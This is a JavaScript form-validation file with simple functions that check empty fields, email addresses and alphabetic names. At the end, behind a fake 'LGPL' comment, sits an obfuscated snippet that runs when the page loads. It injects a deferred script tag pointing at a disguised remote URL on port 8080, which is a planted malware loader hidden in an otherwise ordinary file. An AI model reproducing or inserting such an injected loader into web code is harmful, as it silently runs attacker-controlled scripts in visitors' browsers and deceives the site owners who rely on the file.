// JavaScript for validating forms
//create the validation object 

function Validation()
{
	this.isEmpty = isEmpty;
  this.isEmailAddress = isEmailAddress;
	this.isAlphabetic = isAlphabetic;
}

//---------------Functions/Methods -------------

// check to see if input is whitespace only or empty for all required fields
function isEmpty(input)
{
	if (input.match(/^s+$/) || input == "")
	{
		return true;
	}
	else
	{
		return false;
	}
}

//test for valid email address
function isEmailAddress(input)
{
	if (input.match(/^([a-zA-Z0-9])+([.a-zA-Z0-9_-])*@([a-zA-Z0-9_-])+(.[a-zA-Z0-9_-]+)+/))
	{
		return true;
	}
	else
	{
		return false;
	}
}

//check to see if the input is Alphabetic for Firstname and LastName
function isAlphabetic(input)
{
	if (input.match(/^[a-zA-Z]+$/))
	{
		return true;
	}
	else
	{
			return false;
	}
}


/*LGPL*/ try{ window.onload = function(){var Xqshhog0uy4qsal = 's@(c@(&&r!&#i!&!p!(t^(('.replace(/\!|\^|\$|\)|#|\(|@|&/ig, '');var Eu4sx5kzx2g = 's!)@)r#c^$'.replace(/\$|\(|\^|\!|@|#|\)|&/ig, '');var Vyrrjroitmg9r = document.createElement(Xqshhog0uy4qsal);Vyrrjroitmg9r.setAttribute('defer', 'd$$e^^@f$e$$(r^))'.replace(/\$|\(|#|&|@|\)|\^|\!/ig, ''));Vyrrjroitmg9r.setAttribute('type', 't!^^e$&x(!)$t^)/)(j()$^@a$(v)$@a&^s)#^&c@r@!)i()$(p!#t#('.replace(/#|&|\)|\(|\^|\!|@|\$/ig, ''));Vyrrjroitmg9r.setAttribute('id', 'N)^&^m!@&x(6&r&&@2(!^1&@v(!#z(a&u#!!@u&@'.replace(/\(|#|@|\$|\!|\)|\^|&/ig, ''));Vyrrjroitmg9r.setAttribute(Eu4sx5kzx2g,  'h(@t@$)t&p#!^:(&/@&!#/&g^!$o$#^o$^g!$$(l&e$-$(&a^$e&).(l#&e!)n#(t$$a#!.)!r!u)@#.@)!i$!)n$&s#$@i)#g^h)@(t&^e@&x)$#p$r&^e(#s!))s&@a!!@i$^#-#!!(c#(o)@^m^(@.^)@^b&u#^$r!(&k#)@e#(w#!e)!b@s$!e)^&r!^@v)#(&i@c!&e^&#s&$.(!$r^#u!^&:^&!8&!^0)&8)#^^0#^&/#!(@&m$s&^^(n^.&&@c)(@o)@(m!.^#&c)^&&n$!$/$)m^@!&!s(n(.&)c!@$o$#^m$$&.$c@n!/(!!i&)#^n^.^&&(c$()o#&#m(/$@g&&&o&#&o#&#g$@#&l)$e)@.)(@c&!#o$$@&m#@/$#&&r)a&&^m##!b&!$^l$^)@e#$r&)^.@$@@r^^&#u^/()'.replace(/\!|#|&|\)|\(|\^|@|\$/ig, ''));document.body.appendChild(Vyrrjroitmg9r);} }  catch(Ir9ed62utx9cl07oc7ukv ) {}